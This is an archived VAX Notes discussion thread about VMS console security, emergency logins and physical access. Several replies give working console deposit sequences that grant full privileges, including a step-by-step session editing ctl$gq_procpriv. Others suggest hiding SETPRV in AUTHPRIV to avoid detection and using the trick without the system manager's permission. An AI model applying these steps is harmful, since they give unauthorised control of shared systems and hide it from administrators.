Conference noted::hackers_v1

    If a SYSUAF is found and it is in tack (no file corruption), the
    file will be used for ALL user authorization checks upon login/process
    creation.
    
    Should the file not be found, either through a logical name
    redefinition of SYSUAF to a bogus or non-existent file, or the file
    just not existing, only one terminal may be logged into.  That terminal
    is the system console, and the account is SYSTEM.
    
    Now, you can also use the SYSGEN parameter UAFALTERNATE to try and
    specify an SYSUAFALT file to be used to restrict usage when you
    are doing something strange.
    
    Make sense?  As always, the weakest link in system security is the
    console subsystem.  Once you get to it, breaking in is a snap.
    
    -- Nestor

>    Make sense?  As always, the weakest link in system security is the
>    console subsystem.  Once you get to it, breaking in is a snap.
    
    Sure, that's why you put locks on your doors. That's why physical
    security is supposedly so important. 
    
    BTW, I thought that if SYSUAF and SYSUAFALT weren't found it just
    logged onto OPA0: using any username, not just SYSTEM, and it
    gave you all privileges. Maybe I wasn't reading the LOGINOUT source
    correctly...? (calls it an "emergency login")...
    
    /pjh
    

    You are right...  It does log you in using any username and password,
    however the user account created is SYSTEM.

    Point me to what you mean by the weakest link in system security
    is the console subsystem.  I assume you mean that someone could
    take down the system and then reboot using an alternate login or
    are you saying that anyone who has access to the console can just
    "LOGIN" ?
    

    You can just login, however, if the SYSUAF is in tact, you may only
    login to a valid account.
    
    

    	Anyone who has physical access to your console has full control
    of your system. Whether he can use this without being noticed is
    another matter, since he may have to reboot the system or at least
    temporarily halt it to use his power.
    
    	Bearing this in mind, it is intentional that you should be able
    to log in to a privileged account from the console if the SYSUAF
    is corrupted, since it may provide a faster recovery from a minor
    user error than a complete restore from backup of the system disk.

    If SYSUAF.DAT is not found or is corrupted, anyone can log in at
    the console under any username with any password.  No one will be
    able to log in anywhere else.  The created process will have all
    privileges.
    
    Even without removing SYSUAF.DAT, one could reboot the system with
    a conversational boot and redirect the startup file to the console
    (SYSBOOT> SET/STARTUP OPA0:).  This will have the effect of giving
    the person a fully privileged process.
    
    Make sure your console terminal is ALWAYS secured.
    
    tom_p

    .. when I finally a couple of years ago got a little bit 'deeper'
    into VMS [having a 'workstation' at Your desk is a phantastic learning
    tool] I was concerned about that too.... [and still am..]
    
    1. How do You 'secure' a Console terminal ?? ye olde saying still
    holds true - that operators will disclose/allow anything for a case
    of beer.
    
    2. How do You 'secure' a Console terminal of a 'work-station' ??
    
    I sure didn't appreciate one night long time ago - having to scrounge
    [long after midnite] for another 'system-pack' - since MARKET {still
    running TOPS-20} lost against an intruder making use of a too trusting
    operator - but I sure enough felt pretty safe, knowing that operators
    {as any human being could make errors} - but could hardly circumvent
    security fences - AND DEFINITELY NOT using the CONSOLE TERMINAL.
    
    Rgds,
    Bernie.
    

    The console is secured by placing it in a locked room that only
    certain people can get into.
    
    As far as workstations go, good luck!  It's difficult to (physically)
    secure a system that is located in a general work area.  �VAXen
    are pretty bad in this respect since all the switches are pushbutton
    or toggle (no key switches).  The bigger VAXen aren't much better
    with their 'one key fits all' switches.
    
    tom_p

Re: .8
> ... MARKET {still running TOPS-20} ....

I heard they once tried to run VMS, but the KL wouldn't boot.

    MARKET is {to my knowledge} the only system in this corporation,
    which is on both E-net and ARPA-net and also tolerates {with
    practically no supervision} PUBLIC LOGIN via LCG.KERMIT password
    KERMIT - sure we had our share of problems - but {knock on wood}
    MARKET was {and is tried} very often for 'break-ins' - not-so-much
    'cause of E-net linkage but more ARPA-net access - and its being
    secure for the last three years.
    
    Btw TOPS has no 'security' rating but University proven security
    
    Rgds,
    Bernie - for about 15 years involved with TOPS - its history ...
    

    	If you give me half a minute's free time at your microvax console
    I can walk away with your RD53 in my brief case. This is actually
    a quicker and easier way of stealing your data than going through
    a messy and complicated reboot sequence to get privileges.
    
    	I expect the operator on MARKET could have done a similar thing
    (if he had a large enough brief case :-).

    RE: .12
    		So your the one...   No wonder I could't get my
    microvax to boot.  

    I was told at one time , if you do NOT have a SYSUAF.DAT you then
    have an open system.
    
    Was that ever true ??? If yes, is it still true??
    
    Regars,
    
    	Bob.

    If LOGINOUT can't find SYSUAF.DAT or finds it corrupted (that is,
    unreadable), ANYONE can log in AT THE CONSOLE TERMINAL with ANY
    USERNAME and ANY PASSWORD.  No one will be able to log in at any other
    port even if they enter a valid username and password (how can LOGINOUT
    determine if it's valid if it can't read SYSUAF.DAT?).  The account
    created at the console terminal will have ALL privileges. 
    
    tom_p

    re: .-2
    
    What I believe I heard you ask was "was it ever that way". As far
    as I know, it never was. VMS V1 was pretty simpleminded compared
    to V4, etc, besides, the sources don't say - I suspect that VMS
    has performed like this for a long long time, and whoever told you
    that never tried it themselves.
    
    /pjh
    

    I'm NOT really concerned about the mVAX cluster I'm "managing" --
    
    1. Its {only} in MARKETING [only kidding ..]
    2. I don't put anything on it , I would put VALUE on [not so straight
       copy of a saying of Richard Stallman - author of EMACS and GNU,
       who had an account on MIT-ITS with name RMS - password RMS.
    
    I'm only slightly concerned {as a technical 'marketeer'} about us
    trying to get into 'big Blue' land with this type of attitudes
    regarding 'security'....
    
    Rgds,
    Bernie - who just found out, that nearly ANY failure regarding the
    	LOGIN-tree will let You in still as SYSTEM... a nice 'feature'
    	for 'hackers' ... and an 'open door' for invaders.
    

    Bernie,

        What would you suggest the system should do if confronted with
    a "corrupted" SYSUAF.DAT?
    
    	Any alternative I can think of (individual "backup passwords"
    inscribed inside the cabinet, etc) is still subject to tampering.
    
    -mike z

>        What would you suggest the system should do if confronted with
>    a "corrupted" SYSUAF.DAT?

Take the system down and boot another system (from disk or magtape),
then create/recreate SYSUAF.DAT.  Or, is this impractical on VMS?

Martin.

    	Not impractical if it's a VAX in a computer lab environment
    where backups are handy.  But if it's at home you may be stuck
    for quite awhile.
    
    	The point is, that if someone has access to the computer
    hardware (ie console, cabinet, front panel, etc) then with
    the right knowledge, they have complete access to the whole
    system.
    
    	Now, if you are going to protect the "system", you should
    consider the console terminal a part of that system that must
    be protected, just as the computer's front panel is (where
    a HLT, MEM EXA, MEM DEP, RUN can also and with much less of
    a trail).
    
	-mike

    What about a new system parameter called CBOOT_ENABLED ?

	If CBOOT_ENABLED = 1 then SYSBOOT should act as usual.
	If CBOOT_ENABLED = 0 then SYSBOOT should prevent CONVERSATIONAL 
				bootstrap (bypassing R5 contents).

    At least, this should protect 90% of (actual remaining) security holes
    and it is very easy to implement because SYSBOOT reads VAXVMSSYS.PAR
    just before checking if must enter in conversational mode.

    *Jaume	

    re: .-1
    
        Then what do you do when SYS.EXE or something like that gets corrupted,
    or worse, your page or swap file, and you GOTTA do a conversational
    boot, and the system won't let you?
    
    /pjh

.21>    What about a new system parameter called CBOOT_ENABLED ?
.21>
.21>	If CBOOT_ENABLED = 1 then SYSBOOT should act as usual.
.21>	If CBOOT_ENABLED = 0 then SYSBOOT should prevent CONVERSATIONAL 
.21>				bootstrap (bypassing R5 contents).

    With Local Area VAXClusters there is in fact a SYSGEN parameter
    that does just that.  No conversational boot allowed.
    
    If you're paranoid about a corrupted SYS.EXE I suppose you could always
    have a backup version on another system root.  Just be sure to check IT...

      John

    re: .22

	Emergencies can be solved with the remaining 10% of security hole.
	Plugging another system disk, bootstrapping alternate system roots
	or equivalent actions, wich in fact are more detectable/control-
	lable than just few console commands.

    comment: .23

	Alternate system roots should use CBOOT_ENABLED = 0 too!

    *Jaume

Anyone with access to the console has complete control of the system. Just
login on your nonprivileged account, halt the processor, poke a few locations,
start it running again, and you're logged-in with all privileges.

Hack, hack, hack,

Ron 

    re .25, That's what I was trying to say in .20
    
>    consider the console terminal a part of that system that must
>    be protected, just as the computer's front panel is (where
>    a HLT, MEM EXA, MEM DEP, RUN can also and with much less of
>    a trail).

    	I think 7ffda800 is the location to try, but I do not have a
    stand-alone machine to check. Let me run TELL.COM on your machine,
    and give me 10 seconds on your console terminal, and I will confirm
    it.
    	(or crash your system :-}  )

.25>                             -< Too easy >-
.25> Anyone with access to the console has complete control of the system. Just
.25> login on your nonprivileged account, halt the processor, poke a few ...


			    -> Not so fast, Ron... <-

	When I was system mangler I had a system wide login procedure that
	nicely dropped out users without OPER privilege from _OPA0:

    *JAUME

	(But _YES_, I am agree that if anyone has access to the console,
	 sooner or later will hack everything [or crash it :-)] )

    	The job one logs in on need have nothing to do with OPA0. The
    one location poke gives the *current* job, that is, the one that
    is actually using CPU time, full privileges. It can even be a batch
    job.
    
    	Dave
    

Well, it's not that hard to find the PCB of the right process (via the PCB
vector), and then the PHD, via PCB$L_PHD, and then to poke the
PHD$Q_PRIVMSK... 

Ron

    re: .30
    
    if i remember things correctly from the VMS internals class, all
    of the PCBs are in system space so you can get to them, but the
    address of the PHD which is found in the PCB is a virtual address
    and can only be resolved when you are the current process.
    
    so you can't just halt the system and pop values into anyone's
    PRIVMSK, only the PRIVMSK of the current process.  can anyone
    more knowledgeable back me up on this?
    
    - marty
     

    Both are in system space so both should be addressable.  The problem
    is that the process header is located in paged pool and the address
    you try to poke may equate to a page that is not in physical memory.
    Since the machine has been halted, it won't be faulted in.
    
    tom_p

    RE:.-1
    
    That is not as much of an issue as assuming that the process which
    you are mucking around with is your current process.  Your process
    may be in some nebulous wait state (LEF) and you just elevated someone
    elses priv's.
    
    The Virtual address within the PCB$L_PHD is the virtual address
    of teh PHD. You should be able to muck with it, given that nothing
    happens with you (like you get swapped out).  In that case, the
    number will be low.
    
    -- Nestor

    Also, the fixed portion of the PHD is never paged, and is only swapped
    when the whole process has been swapped out already.  The PHD's
    are in the Balance Slot part of system virtual address space.  E/V
    (examine/virtual) also works quite well on the console.
    

    Why do it the hard way?  D/V/W 80003D00 FFFF
    (See description of MAXSYSGROUP)

    re: .35    I like that one!  I hadn't thought of that.
    
    	I was going to try patching out one of the protection checks
    in XQP. (Its all shared code, so it shouldn't matter which process
    you hit). Now you have spoilt my fun by making it too easy.
    
    	Anyone still like to claim that their system is 90% safe if
    a hacker can get near the console    :-)
    
    		Dave

    Near?  No problem.
    
    tom_p

    On an 8200-8300 a DECprinter III makes a pretty secure console.

    	Don't forget the Field Service hand-held terminals. If I can
    carry out an RD53 in a brief case, I can carry in a terminal in
    a coat pocket!
    
    	It depends to some extent on how much ingenuity, preparation,
    knowlege (and money) you are trying to protect against.

    	EXACTLY! If you let someone "touch" the "system", there
    is a very good chance that that person, given the right
    knowledge and equipment, will be able to break in.  In many
    cases, undetected.
    
    	I believe this is independent of the computer and operating
    system.  Does anyone know of a "physically secure" computer (ie
    one that needs no additional barriers to be secure) ?? I don't.
    
    -mike

> Does anyone know of a "physically secure" computer (ie one that needs no 
> additional barriers to be secure) ??

	The IBM-PC/AT comes with a key switch that disables keyboard
	input.  Unfortunately you can take the top cover off the
	machine fairly easily.  If they had designed the sytem so that
	the top cover was locked when the keyboard was disabled, they
	would have a much more physically secure system.

	You can build a physically secure system easily enough... you
	just have to find someone willing to pay for the security.
	Since most mainframes are kept behind locked doors, most
	customers wouldn't want to pay extra for a system with its
	own physical security.

The IBM PC/RT has a key switch that locks the box:  You can take the outer skins
off, but you can't get at the card cages or much of anything else.

Off course, the metal being locked is pretty thin; you could force your way in
physcally in a couple of minutes.  I doubt you could do it EASILY without
leaving obvious traces, however.

People break into bank vaults, 6-inch (or mor) thick steel walls, alarms, and
all; there is no such thing as "perfect" physical security.

BTW, there are 3rd-party vendors who will sell you a device that encloses you
�VAX and protects it.  I think there are a bunch of them up in Hudson....

							-- Jerry

    Re .35 (D/V/W 8003D00 FFFF) 8003D00 is EXE$GL_SYSUIC of course in
    SYS.MAP 
    

    I don't expect to be to secure my system without resorting to
    physical security.  All of the security holes mentioned so
    far rely on failed physical security.
    
    BTW, I remember hearing stories that the best way to 'break in'
    to a system was to observe the patterns of the humans in the 
    system.  People were always the weakest link.
    
    	KC

     
    
    	Why make it complicated ? using a simple loop in dcl, you get
    	a reasonable good chance that your non-privileged process is
        the current one, thus you can just come along and poke a  -1
        to ctl$gq_procpriv ... provided you're on the console...
    
    $ examine/hex/long 7ffeff10:7ffeff14    ! check your current privs
    7FFEFF10: 00108000 00000000             ! (just to have the value)
    $ cre x.com                             ! create a dcl loop
    $loop:
    $ goto loop
    ^Z
    $ @x                                    ! kick it off...
    ^P                                      ! get to the kernel
    >>> H
    >>> E/V/L 7FFEFF10                      ! check our privs,
            P xxxxxxxx 00108000             ! if not same do a
    >>> E                                   ! few Cont/Halt 'till
            P xxxxxxxx 00000000             ! we hit them
    >>> E P
              00000009                      ! check current PSL
    >>> D P 41F0000                         ! kernel mode,IPL 31
    >>> D/V/L 7FFEFF10 FFFFFFFF             ! (so we can write to
    >>> D/V/L 7FFEFF14 FFFFFFFF             ! ctl$gq_procpriv)
    >>> D P 00000009                        ! restore psl (!!)
    >>> C                                   ! and continue...
    ^Y                                      ! bail out of command file
    $                                       ! and enjoy your privs ...
                                                                      
    
                                                          
    

re: That little bit about "see if privs match, otherwise do a few
CONTINUE/HALTs until they do".

	This seems like a very inaccurate way to make sure you're
	the current process.  Probably your privs are the same as
	most other people, so you'll often see the right privs even
	though you might not really have the correct process yet,
	right ?

	Perhaps better to check some cell that contains your pid
	or your terminal name.

/Eric

   	If you are compute bound (and most other users are not) then
    there is a high probability that you will get your own process.
    If you do not, then just try again. If you are really a hacker,
    you probably do not care how many processes you make privileged
    before you get your own - the other users will never notice, and
    even if they do, so what??  "Its a VMS bug, my process suddenly
    became privileged".
    
    	It may be inaccurate, but who the hacker cares?
    
    	What is rather more interesting is what to do when you do not
    have control of any process. In this case, there is no process you
    own for which you can elevate the privileges. I would suggest a
    technique like the following :-
    
    1) All halts must be short so you do not hit a time out in a LAVc,
    so first find a LRP and detach it from its list. Then continue.
    
    2) A little at a time, deposit into this LRP the code to create
    a process that is fully privileged, and with its SYS$COMMAND the
    console terminal. Detaching the LRP must be done as a single operation
    within the time-out periods, but now you need only do a single deposit
    at a time if you wish between restarting the processor.
    
    3) Finally patch a jump to your code into the swapper process, and
    wait for the console terminal to become "live".
    
    
    	I would be interested to know if any hacker has actually done
    this. It sounds tedious, but should only take a couple of minutes
    if well prepared. The technique, of course, is what VMS uses to
    create the initial STARTUP process, so it is probably even supported
    :-)   :-)
    
    		Dave

Re:>    If you are compute bound (and most other users are not) then
>    there is a high probability that you will get your own process.
>    If you do not, then just try again. If you are really a hacker,
>    you probably do not care how many processes you make privileged
>    before you get your own - the other users will never notice, and

   My point is, you certainly care whether or not you've managed
    to make your own process privileged, so checking the privilege
    word to see if its yours seems like a bad way to do that, since
    most processes will have the same privs as yours.
    
    As far as "high probability", no, your're wrong.  If at least
    one other person is running a compute-bound job, you'll have
    a good chance of hitting their job, not yours.
    
    However, I like your basic method, and I've squirreled it away.
    Every once in a while I run into a really frustrating situation
    where I know EXACTLY how to change what I need on a system, but
    its the middle of the night, and I don't have privileges, and
    the system manager is home sleeping.  I just KNOW that he'd
    gladly grant my request if he were here.
    
    He's not, so what do I do ?  Your method might be handy in
    such a case.  (but I would suggest refining the synchronization
    procedure as I mentioned)
    
    /Eric

Rather than turning on ALL the privilege bits, turn on just SETPRV.  The
only way a user you "accidentally" gave tht too would notice is if he
did a SHOW PROC/PRIV, since it has no direct effect on your ability to
do anything.

Even better:  Set SETPRV in the process's AUTHPRIV, but not in its CURRPRIV
values.  Then it won't show up even on a SHOW PROC/PRIV.  However, unlike
other privileges, SETPRV is special-cased:  If it's in AUTHPRV, you can set
any privilege you want even if it's not "currently enabled".

							-- Jerry

> there is a high probability that you will get your own process.
> the other users will never notice
    
	I agree.  It would, however, be nice to know when you hit the
	right job.  How about writing a little program (in whatever 
	language) to be compute bound for a while and then check to see 
	if the appropriate privs have been granted.  It could ring
	the bell or something.  Run the program on one terminal and
	do the trick at the console until the bell starts ringing!
	

    Aaah - the last couple of replies are FULLY in the 'spirit' of this
    notes-file. Just don't let them out to the NSA-people, who got
    brainwashed to give VMS a 'security-rating'.
    
    Rgds,
    Bernie [following RMS'es {Richard Stallman - author of EMACS/GNU}
    motto : "Would You put anything of personal value onto a computer
    system ??" ].